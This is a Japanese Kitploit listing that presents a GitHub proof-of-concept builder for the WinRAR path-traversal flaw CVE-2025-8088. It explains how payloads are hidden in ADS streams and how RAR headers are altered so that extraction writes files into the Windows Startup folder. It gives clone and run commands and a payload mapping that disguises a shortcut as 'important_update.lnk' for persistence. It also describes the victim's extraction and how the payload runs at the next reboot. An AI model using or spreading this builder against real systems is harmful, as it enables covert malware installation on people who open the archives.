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CVE-2025-8088-WinRAR-builder — WinRARの脆弱性(CVE-2025-8088)に影響を受けるバージョン7.12以前を対象としたPOCエクスプロイト | Kitploit
ツール/GitHubGitHub/papcaii2004/cve-2025-8088-winrar-builder
脆弱性分析エクスプロイトウェブアプリケーション悪用マルウェア分析ペイロード開発
GitHubpapcaii2004/cve-2025-8088-winrar-builder

CVE-2025-8088-WinRAR-builder

WinRARの脆弱性(CVE-2025-8088)に影響を受けるバージョン7.12以前を対象としたPOCエクスプロイト

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1710ヶ月前未レビュー

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CVE-2025-8088-WinRAR-builder

WinRARの脆弱性(CVE-2025-8088)を悪用するPOCエクスプロイト。バージョン7.12以前に影響します

🚀 動作の仕組み

  1. 他のペイロードを埋め込んだRARを作成します
  2. 複数のADSストリームを使用 🔄 - 異なるパストラバーサル深度でペイロードストリームを添付します
  3. RARヘッダーを操作 ⚙️ - アーカイブ構造を変更してパストラバーサル脆弱性を悪用します
  4. スタートアップにペイロードを配置 📂 - 解凍時にWindowsのスタートアップフォルダへペイロードの書き込みを試みます

🛠️ 使用方法

  1. リポジトリをクローンします
root@kitploit:~
git clone https://github.com/papcaii2004/CVE-2025-8088-WinRAR-builder.git
cd CVE-2025-8088-WinRAR-builder
  1. ペイロードを準備します
root@kitploit:~
mkdir payloads
  • そのフォルダにペイロードを追加します(exe、dll、lnkなど)
  • スクリプト内のPAYLOAD_MAPPINGを変更します
root@kitploit:~
# 2. ペイロードを対応する保存先にマッピングします
#   形式: (payloadsディレクトリ内のファイル名, 抽出先のパス)
PAYLOAD_MAPPING: List[Tuple[str, str]] = [
    # ペイロード1
    ("payload.lnk", "..\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\important_update.lnk"),

    # ペイロード2
    ("image.png", "C:\\Users\\Public\\Downloads\\logo.png"),

    # ペイロード3
    # ご自身で追加してください    
]
  1. エクスプロイトを実行します
root@kitploit:~
python builder.py <decoy_file>

🔄 実行フロー

  1. 被害者が脆弱性のあるWinRAR(≤7.12)でRARを解凍します
  2. ペイロードが保存先フォルダに書き込まれます。例:
    root@kitploit:~
    AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
    
  3. 次回の再起動時に ➡️ ペイロードが自動的に実行されます

📋 必要条件

  • Windows OS 🪟
  • Python 3.x 🐍
  • WinRARがインストールされていること
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